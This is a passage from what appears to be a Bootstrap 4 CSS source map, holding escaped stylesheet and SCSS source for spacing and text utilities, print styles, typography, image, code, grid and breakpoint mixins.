1rem !important;\n  }\n  .mt-md-3,\n  .my-md-3 {\n    margin-top: 1rem !important;\n  }\n  .mr-md-3,\n  .mx-md-3 {\n    margin-right: 1rem !important;\n  }\n  .mb-md-3,\n  .my-md-3 {\n    margin-bottom: 1rem !important;\n  }\n  .ml-md-3,\n  .mx-md-3 {\n    margin-left: 1rem !important;\n  }\n  .m-md-4 {\n    margin: 1.5rem !important;\n  }\n  .mt-md-4,\n  .my-md-4 {\n    margin-top: 1.5rem !important;\n  }\n  .mr-md-4,\n  .mx-md-4 {\n    margin-right: 1.5rem !important;\n  }\n  .mb-md-4,\n  .my-md-4 {\n    margin-bottom: 1.5rem !important;\n  }\n  .ml-md-4,\n  .mx-md-4 {\n    margin-left: 1.5rem !important;\n  }\n  .m-md-5 {\n    margin: 3rem !important;\n  }\n  .mt-md-5,\n  .my-md-5 {\n    margin-top: 3rem !important;\n  }\n  .mr-md-5,\n  .mx-md-5 {\n    margin-right: 3rem !important;\n  }\n  .mb-md-5,\n  .my-md-5 {\n    margin-bottom: 3rem !important;\n  }\n  .ml-md-5,\n  .mx-md-5 {\n    margin-left: 3rem !important;\n  }\n  .p-md-0 {\n    padding: 0 !important;\n  }\n  .pt-md-0,\n  .py-md-0 {\n    padding-top: 0 !important;\n  }\n  .pr-md-0,\n  .px-md-0 {\n    padding-right: 0 !important;\n  }\n  .pb-md-0,\n  .py-md-0 {\n    padding-bottom: 0 !important;\n  }\n  .pl-md-0,\n  .px-md-0 {\n    padding-left: 0 !important;\n  }\n  .p-md-1 {\n    padding: 0.25rem !important;\n  }\n  .pt-md-1,\n  .py-md-1 {\n    padding-top: 0.25rem !important;\n  }\n  .pr-md-1,\n  .px-md-1 {\n    padding-right: 0.25rem !important;\n  }\n  .pb-md-1,\n  .py-md-1 {\n    padding-bottom: 0.25rem !important;\n  }\n  .pl-md-1,\n  .px-md-1 {\n    padding-left: 0.25rem !important;\n  }\n  .p-md-2 {\n    padding: 0.5rem !important;\n  }\n  .pt-md-2,\n  .py-md-2 {\n    padding-top: 0.5rem !important;\n  }\n  .pr-md-2,\n  .px-md-2 {\n    padding-right: 0.5rem !important;\n  }\n  .pb-md-2,\n  .py-md-2 {\n    padding-bottom: 0.5rem !important;\n  }\n  .pl-md-2,\n  .px-md-2 {\n    padding-left: 0.5rem !important;\n  }\n  .p-md-3 {\n    padding: 1rem !important;\n  }\n  .pt-md-3,\n  .py-md-3 {\n    padding-top: 1rem !important;\n  }\n  .pr-md-3,\n  .px-md-3 {\n    padding-right: 1rem !important;\n  }\n  .pb-md-3,\n  .py-md-3 {\n    padding-bottom: 1rem !important;\n  }\n  .pl-md-3,\n  .px-md-3 {\n    padding-left: 1rem !important;\n  }\n  .p-md-4 {\n    padding: 1.5rem !important;\n  }\n  .pt-md-4,\n  .py-md-4 {\n    padding-top: 1.5rem !important;\n  }\n  .pr-md-4,\n  .px-md-4 {\n    padding-right: 1.5rem !important;\n  }\n  .pb-md-4,\n  .py-md-4 {\n    padding-bottom: 1.5rem !important;\n  }\n  .pl-md-4,\n  .px-md-4 {\n    padding-left: 1.5rem !important;\n  }\n  .p-md-5 {\n    padding: 3rem !important;\n  }\n  .pt-md-5,\n  .py-md-5 {\n    padding-top: 3rem !important;\n  }\n  .pr-md-5,\n  .px-md-5 {\n    padding-right: 3rem !important;\n  }\n  .pb-md-5,\n  .py-md-5 {\n    padding-bottom: 3rem !important;\n  }\n  .pl-md-5,\n  .px-md-5 {\n    padding-left: 3rem !important;\n  }\n  .m-md-auto {\n    margin: auto !important;\n  }\n  .mt-md-auto,\n  .my-md-auto {\n    margin-top: auto !important;\n  }\n  .mr-md-auto,\n  .mx-md-auto {\n    margin-right: auto !important;\n  }\n  .mb-md-auto,\n  .my-md-auto {\n    margin-bottom: auto !important;\n  }\n  .ml-md-auto,\n  .mx-md-auto {\n    margin-left: auto !important;\n  }\n}\n\n@media (min-width: 992px) {\n  .m-lg-0 {\n    margin: 0 !important;\n  }\n  .mt-lg-0,\n  .my-lg-0 {\n    margin-top: 0 !important;\n  }\n  .mr-lg-0,\n  .mx-lg-0 {\n    margin-right: 0 !important;\n  }\n  .mb-lg-0,\n  .my-lg-0 {\n    margin-bottom: 0 !important;\n  }\n  .ml-lg-0,\n  .mx-lg-0 {\n    margin-left: 0 !important;\n  }\n  .m-lg-1 {\n    margin: 0.25rem !important;\n  }\n  .mt-lg-1,\n  .my-lg-1 {\n    margin-top: 0.25rem !important;\n  }\n  .mr-lg-1,\n  .mx-lg-1 {\n    margin-right: 0.25rem !important;\n  }\n  .mb-lg-1,\n  .my-lg-1 {\n    margin-bottom: 0.25rem !important;\n  }\n  .ml-lg-1,\n  .mx-lg-1 {\n    margin-left: 0.25rem !important;\n  }\n  .m-lg-2 {\n    margin: 0.5rem !important;\n  }\n  .mt-lg-2,\n  .my-lg-2 {\n    margin-top: 0.5rem !important;\n  }\n  .mr-lg-2,\n  .mx-lg-2 {\n    margin-right: 0.5rem !important;\n  }\n  .mb-lg-2,\n  .my-lg-2 {\n    margin-bottom: 0.5rem !important;\n  }\n  .ml-lg-2,\n  .mx-lg-2 {\n    margin-left: 0.5rem !important;\n  }\n  .m-lg-3 {\n    margin: 1rem !important;\n  }\n  .mt-lg-3,\n  .my-lg-3 {\n    margin-top: 1rem !important;\n  }\n  .mr-lg-3,\n  .mx-lg-3 {\n    margin-right: 1rem !important;\n  }\n  .mb-lg-3,\n  .my-lg-3 {\n    margin-bottom: 1rem !important;\n  }\n  .ml-lg-3,\n  .mx-lg-3 {\n    margin-left: 1rem !important;\n  }\n  .m-lg-4 {\n    margin: 1.5rem !important;\n  }\n  .mt-lg-4,\n  .my-lg-4 {\n    margin-top: 1.5rem !important;\n  }\n  .mr-lg-4,\n  .mx-lg-4 {\n    margin-right: 1.5rem !important;\n  }\n  .mb-lg-4,\n  .my-lg-4 {\n    margin-bottom: 1.5rem !important;\n  }\n  .ml-lg-4,\n  .mx-lg-4 {\n    margin-left: 1.5rem !important;\n  }\n  .m-lg-5 {\n    margin: 3rem !important;\n  }\n  .mt-lg-5,\n  .my-lg-5 {\n    margin-top: 3rem !important;\n  }\n  .mr-lg-5,\n  .mx-lg-5 {\n    margin-right: 3rem !important;\n  }\n  .mb-lg-5,\n  .my-lg-5 {\n    margin-bottom: 3rem !important;\n  }\n  .ml-lg-5,\n  .mx-lg-5 {\n    margin-left: 3rem !important;\n  }\n  .p-lg-0 {\n    padding: 0 !important;\n  }\n  .pt-lg-0,\n  .py-lg-0 {\n    padding-top: 0 !important;\n  }\n  .pr-lg-0,\n  .px-lg-0 {\n    padding-right: 0 !important;\n  }\n  .pb-lg-0,\n  .py-lg-0 {\n    padding-bottom: 0 !important;\n  }\n  .pl-lg-0,\n  .px-lg-0 {\n    padding-left: 0 !important;\n  }\n  .p-lg-1 {\n    padding: 0.25rem !important;\n  }\n  .pt-lg-1,\n  .py-lg-1 {\n    padding-top: 0.25rem !important;\n  }\n  .pr-lg-1,\n  .px-lg-1 {\n    padding-right: 0.25rem !important;\n  }\n  .pb-lg-1,\n  .py-lg-1 {\n    padding-bottom: 0.25rem !important;\n  }\n  .pl-lg-1,\n  .px-lg-1 {\n    padding-left: 0.25rem !important;\n  }\n  .p-lg-2 {\n    padding: 0.5rem !important;\n  }\n  .pt-lg-2,\n  .py-lg-2 {\n    padding-top: 0.5rem !important;\n  }\n  .pr-lg-2,\n  .px-lg-2 {\n    padding-right: 0.5rem !important;\n  }\n  .pb-lg-2,\n  .py-lg-2 {\n    padding-bottom: 0.5rem !important;\n  }\n  .pl-lg-2,\n  .px-lg-2 {\n    padding-left: 0.5rem !important;\n  }\n  .p-lg-3 {\n    padding: 1rem !important;\n  }\n  .pt-lg-3,\n  .py-lg-3 {\n    padding-top: 1rem !important;\n  }\n  .pr-lg-3,\n  .px-lg-3 {\n    padding-right: 1rem !important;\n  }\n  .pb-lg-3,\n  .py-lg-3 {\n    padding-bottom: 1rem !important;\n  }\n  .pl-lg-3,\n  .px-lg-3 {\n    padding-left: 1rem !important;\n  }\n  .p-lg-4 {\n    padding: 1.5rem !important;\n  }\n  .pt-lg-4,\n  .py-lg-4 {\n    padding-top: 1.5rem !important;\n  }\n  .pr-lg-4,\n  .px-lg-4 {\n    padding-right: 1.5rem !important;\n  }\n  .pb-lg-4,\n  .py-lg-4 {\n    padding-bottom: 1.5rem !important;\n  }\n  .pl-lg-4,\n  .px-lg-4 {\n    padding-left: 1.5rem !important;\n  }\n  .p-lg-5 {\n    padding: 3rem !important;\n  }\n  .pt-lg-5,\n  .py-lg-5 {\n    padding-top: 3rem !important;\n  }\n  .pr-lg-5,\n  .px-lg-5 {\n    padding-right: 3rem !important;\n  }\n  .pb-lg-5,\n  .py-lg-5 {\n    padding-bottom: 3rem !important;\n  }\n  .pl-lg-5,\n  .px-lg-5 {\n    padding-left: 3rem !important;\n  }\n  .m-lg-auto {\n    margin: auto !important;\n  }\n  .mt-lg-auto,\n  .my-lg-auto {\n    margin-top: auto !important;\n  }\n  .mr-lg-auto,\n  .mx-lg-auto {\n    margin-right: auto !important;\n  }\n  .mb-lg-auto,\n  .my-lg-auto {\n    margin-bottom: auto !important;\n  }\n  .ml-lg-auto,\n  .mx-lg-auto {\n    margin-left: auto !important;\n  }\n}\n\n@media (min-width: 1200px) {\n  .m-xl-0 {\n    margin: 0 !important;\n  }\n  .mt-xl-0,\n  .my-xl-0 {\n    margin-top: 0 !important;\n  }\n  .mr-xl-0,\n  .mx-xl-0 {\n    margin-right: 0 !important;\n  }\n  .mb-xl-0,\n  .my-xl-0 {\n    margin-bottom: 0 !important;\n  }\n  .ml-xl-0,\n  .mx-xl-0 {\n    margin-left: 0 !important;\n  }\n  .m-xl-1 {\n    margin: 0.25rem !important;\n  }\n  .mt-xl-1,\n  .my-xl-1 {\n    margin-top: 0.25rem !important;\n  }\n  .mr-xl-1,\n  .mx-xl-1 {\n    margin-right: 0.25rem !important;\n  }\n  .mb-xl-1,\n  .my-xl-1 {\n    margin-bottom: 0.25rem !important;\n  }\n  .ml-xl-1,\n  .mx-xl-1 {\n    margin-left: 0.25rem !important;\n  }\n  .m-xl-2 {\n    margin: 0.5rem !important;\n  }\n  .mt-xl-2,\n  .my-xl-2 {\n    margin-top: 0.5rem !important;\n  }\n  .mr-xl-2,\n  .mx-xl-2 {\n    margin-right: 0.5rem !important;\n  }\n  .mb-xl-2,\n  .my-xl-2 {\n    margin-bottom: 0.5rem !important;\n  }\n  .ml-xl-2,\n  .mx-xl-2 {\n    margin-left: 0.5rem !important;\n  }\n  .m-xl-3 {\n    margin: 1rem !important;\n  }\n  .mt-xl-3,\n  .my-xl-3 {\n    margin-top: 1rem !important;\n  }\n  .mr-xl-3,\n  .mx-xl-3 {\n    margin-right: 1rem !important;\n  }\n  .mb-xl-3,\n  .my-xl-3 {\n    margin-bottom: 1rem !important;\n  }\n  .ml-xl-3,\n  .mx-xl-3 {\n    margin-left: 1rem !important;\n  }\n  .m-xl-4 {\n    margin: 1.5rem !important;\n  }\n  .mt-xl-4,\n  .my-xl-4 {\n    margin-top: 1.5rem !important;\n  }\n  .mr-xl-4,\n  .mx-xl-4 {\n    margin-right: 1.5rem !important;\n  }\n  .mb-xl-4,\n  .my-xl-4 {\n    margin-bottom: 1.5rem !important;\n  }\n  .ml-xl-4,\n  .mx-xl-4 {\n    margin-left: 1.5rem !important;\n  }\n  .m-xl-5 {\n    margin: 3rem !important;\n  }\n  .mt-xl-5,\n  .my-xl-5 {\n    margin-top: 3rem !important;\n  }\n  .mr-xl-5,\n  .mx-xl-5 {\n    margin-right: 3rem !important;\n  }\n  .mb-xl-5,\n  .my-xl-5 {\n    margin-bottom: 3rem !important;\n  }\n  .ml-xl-5,\n  .mx-xl-5 {\n    margin-left: 3rem !important;\n  }\n  .p-xl-0 {\n    padding: 0 !important;\n  }\n  .pt-xl-0,\n  .py-xl-0 {\n    padding-top: 0 !important;\n  }\n  .pr-xl-0,\n  .px-xl-0 {\n    padding-right: 0 !important;\n  }\n  .pb-xl-0,\n  .py-xl-0 {\n    padding-bottom: 0 !important;\n  }\n  .pl-xl-0,\n  .px-xl-0 {\n    padding-left: 0 !important;\n  }\n  .p-xl-1 {\n    padding: 0.25rem !important;\n  }\n  .pt-xl-1,\n  .py-xl-1 {\n    padding-top: 0.25rem !important;\n  }\n  .pr-xl-1,\n  .px-xl-1 {\n    padding-right: 0.25rem !important;\n  }\n  .pb-xl-1,\n  .py-xl-1 {\n    padding-bottom: 0.25rem !important;\n  }\n  .pl-xl-1,\n  .px-xl-1 {\n    padding-left: 0.25rem !important;\n  }\n  .p-xl-2 {\n    padding: 0.5rem !important;\n  }\n  .pt-xl-2,\n  .py-xl-2 {\n    padding-top: 0.5rem !important;\n  }\n  .pr-xl-2,\n  .px-xl-2 {\n    padding-right: 0.5rem !important;\n  }\n  .pb-xl-2,\n  .py-xl-2 {\n    padding-bottom: 0.5rem !important;\n  }\n  .pl-xl-2,\n  .px-xl-2 {\n    padding-left: 0.5rem !important;\n  }\n  .p-xl-3 {\n    padding: 1rem !important;\n  }\n  .pt-xl-3,\n  .py-xl-3 {\n    padding-top: 1rem !important;\n  }\n  .pr-xl-3,\n  .px-xl-3 {\n    padding-right: 1rem !important;\n  }\n  .pb-xl-3,\n  .py-xl-3 {\n    padding-bottom: 1rem !important;\n  }\n  .pl-xl-3,\n  .px-xl-3 {\n    padding-left: 1rem !important;\n  }\n  .p-xl-4 {\n    padding: 1.5rem !important;\n  }\n  .pt-xl-4,\n  .py-xl-4 {\n    padding-top: 1.5rem !important;\n  }\n  .pr-xl-4,\n  .px-xl-4 {\n    padding-right: 1.5rem !important;\n  }\n  .pb-xl-4,\n  .py-xl-4 {\n    padding-bottom: 1.5rem !important;\n  }\n  .pl-xl-4,\n  .px-xl-4 {\n    padding-left: 1.5rem !important;\n  }\n  .p-xl-5 {\n    padding: 3rem !important;\n  }\n  .pt-xl-5,\n  .py-xl-5 {\n    padding-top: 3rem !important;\n  }\n  .pr-xl-5,\n  .px-xl-5 {\n    padding-right: 3rem !important;\n  }\n  .pb-xl-5,\n  .py-xl-5 {\n    padding-bottom: 3rem !important;\n  }\n  .pl-xl-5,\n  .px-xl-5 {\n    padding-left: 3rem !important;\n  }\n  .m-xl-auto {\n    margin: auto !important;\n  }\n  .mt-xl-auto,\n  .my-xl-auto {\n    margin-top: auto !important;\n  }\n  .mr-xl-auto,\n  .mx-xl-auto {\n    margin-right: auto !important;\n  }\n  .mb-xl-auto,\n  .my-xl-auto {\n    margin-bottom: auto !important;\n  }\n  .ml-xl-auto,\n  .mx-xl-auto {\n    margin-left: auto !important;\n  }\n}\n\n.text-monospace {\n  font-family: SFMono-Regular, Menlo, Monaco, Consolas, \"Liberation Mono\", \"Courier New\", monospace;\n}\n\n.text-justify {\n  text-align: justify !important;\n}\n\n.text-nowrap {\n  white-space: nowrap !important;\n}\n\n.text-truncate {\n  overflow: hidden;\n  text-overflow: ellipsis;\n  white-space: nowrap;\n}\n\n.text-left {\n  text-align: left !important;\n}\n\n.text-right {\n  text-align: right !important;\n}\n\n.text-center {\n  text-align: center !important;\n}\n\n@media (min-width: 576px) {\n  .text-sm-left {\n    text-align: left !important;\n  }\n  .text-sm-right {\n    text-align: right !important;\n  }\n  .text-sm-center {\n    text-align: center !important;\n  }\n}\n\n@media (min-width: 768px) {\n  .text-md-left {\n    text-align: left !important;\n  }\n  .text-md-right {\n    text-align: right !important;\n  }\n  .text-md-center {\n    text-align: center !important;\n  }\n}\n\n@media (min-width: 992px) {\n  .text-lg-left {\n    text-align: left !important;\n  }\n  .text-lg-right {\n    text-align: right !important;\n  }\n  .text-lg-center {\n    text-align: center !important;\n  }\n}\n\n@media (min-width: 1200px) {\n  .text-xl-left {\n    text-align: left !important;\n  }\n  .text-xl-right {\n    text-align: right !important;\n  }\n  .text-xl-center {\n    text-align: center !important;\n  }\n}\n\n.text-lowercase {\n  text-transform: lowercase !important;\n}\n\n.text-uppercase {\n  text-transform: uppercase !important;\n}\n\n.text-capitalize {\n  text-transform: capitalize !important;\n}\n\n.font-weight-light {\n  font-weight: 300 !important;\n}\n\n.font-weight-normal {\n  font-weight: 400 !important;\n}\n\n.font-weight-bold {\n  font-weight: 700 !important;\n}\n\n.font-italic {\n  font-style: italic !important;\n}\n\n.text-white {\n  color: #fff !important;\n}\n\n.text-primary {\n  color: #007bff !important;\n}\n\na.text-primary:hover, a.text-primary:focus {\n  color: #0062cc !important;\n}\n\n.text-secondary {\n  color: #6c757d !important;\n}\n\na.text-secondary:hover, a.text-secondary:focus {\n  color: #545b62 !important;\n}\n\n.text-success {\n  color: #28a745 !important;\n}\n\na.text-success:hover, a.text-success:focus {\n  color: #1e7e34 !important;\n}\n\n.text-info {\n  color: #17a2b8 !important;\n}\n\na.text-info:hover, a.text-info:focus {\n  color: #117a8b !important;\n}\n\n.text-warning {\n  color: #ffc107 !important;\n}\n\na.text-warning:hover, a.text-warning:focus {\n  color: #d39e00 !important;\n}\n\n.text-danger {\n  color: #dc3545 !important;\n}\n\na.text-danger:hover, a.text-danger:focus {\n  color: #bd2130 !important;\n}\n\n.text-light {\n  color: #f8f9fa !important;\n}\n\na.text-light:hover, a.text-light:focus {\n  color: #dae0e5 !important;\n}\n\n.text-dark {\n  color: #343a40 !important;\n}\n\na.text-dark:hover, a.text-dark:focus {\n  color: #1d2124 !important;\n}\n\n.text-body {\n  color: #212529 !important;\n}\n\n.text-muted {\n  color: #6c757d !important;\n}\n\n.text-black-50 {\n  color: rgba(0, 0, 0, 0.5) !important;\n}\n\n.text-white-50 {\n  color: rgba(255, 255, 255, 0.5) !important;\n}\n\n.text-hide {\n  font: 0/0 a;\n  color: transparent;\n  text-shadow: none;\n  background-color: transparent;\n  border: 0;\n}\n\n.visible {\n  visibility: visible !important;\n}\n\n.invisible {\n  visibility: hidden !important;\n}\n\n@media print {\n  *,\n  *::before,\n  *::after {\n    text-shadow: none !important;\n    box-shadow: none !important;\n  }\n  a:not(.btn) {\n    text-decoration: underline;\n  }\n  abbr[title]::after {\n    content: \" (\" attr(title) \")\";\n  }\n  pre {\n    white-space: pre-wrap !important;\n  }\n  pre,\n  blockquote {\n    border: 1px solid #adb5bd;\n    page-break-inside: avoid;\n  }\n  thead {\n    display: table-header-group;\n  }\n  tr,\n  img {\n    page-break-inside: avoid;\n  }\n  p,\n  h2,\n  h3 {\n    orphans: 3;\n    widows: 3;\n  }\n  h2,\n  h3 {\n    page-break-after: avoid;\n  }\n  @page {\n    size: a3;\n  }\n  body {\n    min-width: 992px !important;\n  }\n  .container {\n    min-width: 992px !important;\n  }\n  .navbar {\n    display: none;\n  }\n  .badge {\n    border: 1px solid #000;\n  }\n  .table {\n    border-collapse: collapse !important;\n  }\n  .table td,\n  .table th {\n    background-color: #fff !important;\n  }\n  .table-bordered th,\n  .table-bordered td {\n    border: 1px solid #dee2e6 !important;\n  }\n}\n\n/*# sourceMappingURL=bootstrap.css.map */","// Hover mixin and `$enable-hover-media-query` are deprecated.\n//\n// Origally added during our alphas and maintained during betas, this mixin was\n// designed to prevent `:hover` stickiness on iOS-an issue where hover styles\n// would persist after initial touch.\n//\n// For backward compatibility, we've kept these mixins and updated them to\n// always return their regular psuedo-classes instead of a shimmed media query.\n//\n// Issue: https://github.com/twbs/bootstrap/issues/25195\n\n@mixin hover {\n  &:hover { @content; }\n}\n\n@mixin hover-focus {\n  &:hover,\n  &:focus {\n    @content;\n  }\n}\n\n@mixin plain-hover-focus {\n  &,\n  &:hover,\n  &:focus {\n    @content;\n  }\n}\n\n@mixin hover-focus-active {\n  &:hover,\n  &:focus,\n  &:active {\n    @content;\n  }\n}\n","// stylelint-disable declaration-no-important, selector-list-comma-newline-after\n\n//\n// Headings\n//\n\nh1, h2, h3, h4, h5, h6,\n.h1, .h2, .h3, .h4, .h5, .h6 {\n  margin-bottom: $headings-margin-bottom;\n  font-family: $headings-font-family;\n  font-weight: $headings-font-weight;\n  line-height: $headings-line-height;\n  color: $headings-color;\n}\n\nh1, .h1 { font-size: $h1-font-size; }\nh2, .h2 { font-size: $h2-font-size; }\nh3, .h3 { font-size: $h3-font-size; }\nh4, .h4 { font-size: $h4-font-size; }\nh5, .h5 { font-size: $h5-font-size; }\nh6, .h6 { font-size: $h6-font-size; }\n\n.lead {\n  font-size: $lead-font-size;\n  font-weight: $lead-font-weight;\n}\n\n// Type display classes\n.display-1 {\n  font-size: $display1-size;\n  font-weight: $display1-weight;\n  line-height: $display-line-height;\n}\n.display-2 {\n  font-size: $display2-size;\n  font-weight: $display2-weight;\n  line-height: $display-line-height;\n}\n.display-3 {\n  font-size: $display3-size;\n  font-weight: $display3-weight;\n  line-height: $display-line-height;\n}\n.display-4 {\n  font-size: $display4-size;\n  font-weight: $display4-weight;\n  line-height: $display-line-height;\n}\n\n\n//\n// Horizontal rules\n//\n\nhr {\n  margin-top: $hr-margin-y;\n  margin-bottom: $hr-margin-y;\n  border: 0;\n  border-top: $hr-border-width solid $hr-border-color;\n}\n\n\n//\n// Emphasis\n//\n\nsmall,\n.small {\n  font-size: $small-font-size;\n  font-weight: $font-weight-normal;\n}\n\nmark,\n.mark {\n  padding: $mark-padding;\n  background-color: $mark-bg;\n}\n\n\n//\n// Lists\n//\n\n.list-unstyled {\n  @include list-unstyled;\n}\n\n// Inline turns list items into inline-block\n.list-inline {\n  @include list-unstyled;\n}\n.list-inline-item {\n  display: inline-block;\n\n  &:not(:last-child) {\n    margin-right: $list-inline-padding;\n  }\n}\n\n\n//\n// Misc\n//\n\n// Builds on `abbr`\n.initialism {\n  font-size: 90%;\n  text-transform: uppercase;\n}\n\n// Blockquotes\n.blockquote {\n  margin-bottom: $spacer;\n  font-size: $blockquote-font-size;\n}\n\n.blockquote-footer {\n  display: block;\n  font-size: 80%; // back to default font-size\n  color: $blockquote-small-color;\n\n  &::before {\n    content: \"\\2014 \\00A0\"; // em dash, nbsp\n  }\n}\n","// Lists\n\n// Unstyled keeps list items block level, just removes default browser padding and list-style\n@mixin list-unstyled {\n  padding-left: 0;\n  list-style: none;\n}\n","// Responsive images (ensure images don't scale beyond their parents)\n//\n// This is purposefully opt-in via an explicit class rather than being the default for all `<img>`s.\n// We previously tried the \"images are responsive by default\" approach in Bootstrap v2,\n// and abandoned it in Bootstrap v3 because it breaks lots of third-party widgets (including Google Maps)\n// which weren't expecting the images within themselves to be involuntarily resized.\n// See also https://github.com/twbs/bootstrap/issues/18178\n.img-fluid {\n  @include img-fluid;\n}\n\n\n// Image thumbnails\n.img-thumbnail {\n  padding: $thumbnail-padding;\n  background-color: $thumbnail-bg;\n  border: $thumbnail-border-width solid $thumbnail-border-color;\n  @include border-radius($thumbnail-border-radius);\n  @include box-shadow($thumbnail-box-shadow);\n\n  // Keep them at most 100% wide\n  @include img-fluid;\n}\n\n//\n// Figures\n//\n\n.figure {\n  // Ensures the caption's text aligns with the image.\n  display: inline-block;\n}\n\n.figure-img {\n  margin-bottom: ($spacer / 2);\n  line-height: 1;\n}\n\n.figure-caption {\n  font-size: $figure-caption-font-size;\n  color: $figure-caption-color;\n}\n","// Image Mixins\n// - Responsive image\n// - Retina image\n\n\n// Responsive image\n//\n// Keep images from scaling beyond the width of their parents.\n\n@mixin img-fluid {\n  // Part 1: Set a maximum relative to the parent\n  max-width: 100%;\n  // Part 2: Override the height to auto, otherwise images will be stretched\n  // when setting a width and height attribute on the img element.\n  height: auto;\n}\n\n\n// Retina image\n//\n// Short retina mixin for setting background-image and -size.\n\n// stylelint-disable indentation, media-query-list-comma-newline-after\n@mixin img-retina($file-1x, $file-2x, $width-1x, $height-1x) {\n  background-image: url($file-1x);\n\n  // Autoprefixer takes care of adding -webkit-min-device-pixel-ratio and -o-min-device-pixel-ratio,\n  // but doesn't convert dppx=>dpi.\n  // There's no such thing as unprefixed min-device-pixel-ratio since it's nonstandard.\n  // Compatibility info: https://caniuse.com/#feat=css-media-resolution\n  @media only screen and (min-resolution: 192dpi), // IE9-11 don't support dppx\n  only screen and (min-resolution: 2dppx) { // Standardized\n    background-image: url($file-2x);\n    background-size: $width-1x $height-1x;\n  }\n}\n","// Single side border-radius\n\n@mixin border-radius($radius: $border-radius) {\n  @if $enable-rounded {\n    border-radius: $radius;\n  }\n}\n\n@mixin border-top-radius($radius) {\n  @if $enable-rounded {\n    border-top-left-radius: $radius;\n    border-top-right-radius: $radius;\n  }\n}\n\n@mixin border-right-radius($radius) {\n  @if $enable-rounded {\n    border-top-right-radius: $radius;\n    border-bottom-right-radius: $radius;\n  }\n}\n\n@mixin border-bottom-radius($radius) {\n  @if $enable-rounded {\n    border-bottom-right-radius: $radius;\n    border-bottom-left-radius: $radius;\n  }\n}\n\n@mixin border-left-radius($radius) {\n  @if $enable-rounded {\n    border-top-left-radius: $radius;\n    border-bottom-left-radius: $radius;\n  }\n}\n","// Inline and block code styles\ncode,\nkbd,\npre,\nsamp {\n  font-family: $font-family-monospace;\n}\n\n// Inline code\ncode {\n  font-size: $code-font-size;\n  color: $code-color;\n  word-break: break-word;\n\n  // Streamline the style when inside anchors to avoid broken underline and more\n  a > & {\n    color: inherit;\n  }\n}\n\n// User input typically entered via keyboard\nkbd {\n  padding: $kbd-padding-y $kbd-padding-x;\n  font-size: $kbd-font-size;\n  color: $kbd-color;\n  background-color: $kbd-bg;\n  @include border-radius($border-radius-sm);\n  @include box-shadow($kbd-box-shadow);\n\n  kbd {\n    padding: 0;\n    font-size: 100%;\n    font-weight: $nested-kbd-font-weight;\n    @include box-shadow(none);\n  }\n}\n\n// Blocks of code\npre {\n  display: block;\n  font-size: $code-font-size;\n  color: $pre-color;\n\n  // Account for some code outputs that place code tags in pre tags\n  code {\n    font-size: inherit;\n    color: inherit;\n    word-break: normal;\n  }\n}\n\n// Enable scrollable blocks of code\n.pre-scrollable {\n  max-height: $pre-scrollable-max-height;\n  overflow-y: scroll;\n}\n","// Container widths\n//\n// Set the container width, and override it for fixed navbars in media queries.\n\n@if $enable-grid-classes {\n  .container {\n    @include make-container();\n    @include make-container-max-widths();\n  }\n}\n\n// Fluid container\n//\n// Utilizes the mixin meant for fixed width containers, but with 100% width for\n// fluid, full width layouts.\n\n@if $enable-grid-classes {\n  .container-fluid {\n    @include make-container();\n  }\n}\n\n// Row\n//\n// Rows contain and clear the floats of your columns.\n\n@if $enable-grid-classes {\n  .row {\n    @include make-row();\n  }\n\n  // Remove the negative margin from default .row, then the horizontal padding\n  // from all immediate children columns (to prevent runaway style inheritance).\n  .no-gutters {\n    margin-right: 0;\n    margin-left: 0;\n\n    > .col,\n    > [class*=\"col-\"] {\n      padding-right: 0;\n      padding-left: 0;\n    }\n  }\n}\n\n// Columns\n//\n// Common styles for small and large grid columns\n\n@if $enable-grid-classes {\n  @include make-grid-columns();\n}\n","/// Grid system\n//\n// Generate semantic grid columns with these mixins.\n\n@mixin make-container() {\n  width: 100%;\n  padding-right: ($grid-gutter-width / 2);\n  padding-left: ($grid-gutter-width / 2);\n  margin-right: auto;\n  margin-left: auto;\n}\n\n\n// For each breakpoint, define the maximum width of the container in a media query\n@mixin make-container-max-widths($max-widths: $container-max-widths, $breakpoints: $grid-breakpoints) {\n  @each $breakpoint, $container-max-width in $max-widths {\n    @include media-breakpoint-up($breakpoint, $breakpoints) {\n      max-width: $container-max-width;\n    }\n  }\n}\n\n@mixin make-row() {\n  display: flex;\n  flex-wrap: wrap;\n  margin-right: ($grid-gutter-width / -2);\n  margin-left: ($grid-gutter-width / -2);\n}\n\n@mixin make-col-ready() {\n  position: relative;\n  // Prevent columns from becoming too narrow when at smaller grid tiers by\n  // always setting `width: 100%;`. This works because we use `flex` values\n  // later on to override this initial width.\n  width: 100%;\n  min-height: 1px; // Prevent collapsing\n  padding-right: ($grid-gutter-width / 2);\n  padding-left: ($grid-gutter-width / 2);\n}\n\n@mixin make-col($size, $columns: $grid-columns) {\n  flex: 0 0 percentage($size / $columns);\n  // Add a `max-width` to ensure content within each column does not blow out\n  // the width of the column. Applies to IE10+ and Firefox. Chrome and Safari\n  // do not appear to require this.\n  max-width: percentage($size / $columns);\n}\n\n@mixin make-col-offset($size, $columns: $grid-columns) {\n  $num: $size / $columns;\n  margin-left: if($num == 0, 0, percentage($num));\n}\n","// Breakpoint viewport sizes and media queries.\n//\n// Breakpoints are defined as a map of (name: minimum width), order from small to large:\n//\n//    (xs: 0, sm: 576px, md: 768px, lg: 992px, xl: 1200px)\n//\n// The map defined in the `$grid-breakpoints` global variable is used as the `$breakpoints` argument by default.\n\n// Name of the next breakpoint, or null for the last breakpoint.\n//\n//    >> breakpoint-next(sm)\n//    md\n//    >> breakpoint-next(sm, (xs: 0, sm: 576px, md: 768px, lg: 992px, xl: 1200px))\n//    md\n//    >> breakpoint-next(sm, $breakpoint-names: (xs sm md lg xl))\n//    md\n@function breakpoint-next($name, $breakpoints: $grid-breakpoints, $breakpoint-names: map-keys($breakpoints)) {\n  $n: index($breakpoint-names, $name);\n  @return if($n < length($breakpoint-names), nth($breakpoint-names, $n + 1), null);\n}\n\n// Minimum breakpoint width. Null for the smallest (first) breakpoint.\n//\n//    >> breakpoint-min(sm, (xs: 0, sm: 576px, md: 768px, lg: 992px, xl: 1200px))\n//    576px\n@function breakpoint-min($name, $breakpoints: $grid-breakpoints) {\n  $min: map-get($breakpoints, $name);\n  @return if($min != 0, $min, null);\n}\n\n// Maximum breakpoint width. Null for the largest (last) breakpoint.\n// The maximum value is calculated as the minimum of the next one less 0.02px\n// to work around the limitations of `min-` and `max-` prefixes and viewports with fractional widths.\n// See https://www.w3.org/TR/mediaqueries-4/#mq-min-max\n// Uses 0.02px rather than 0.01px to work around a current rounding bug in Safari.\n// See 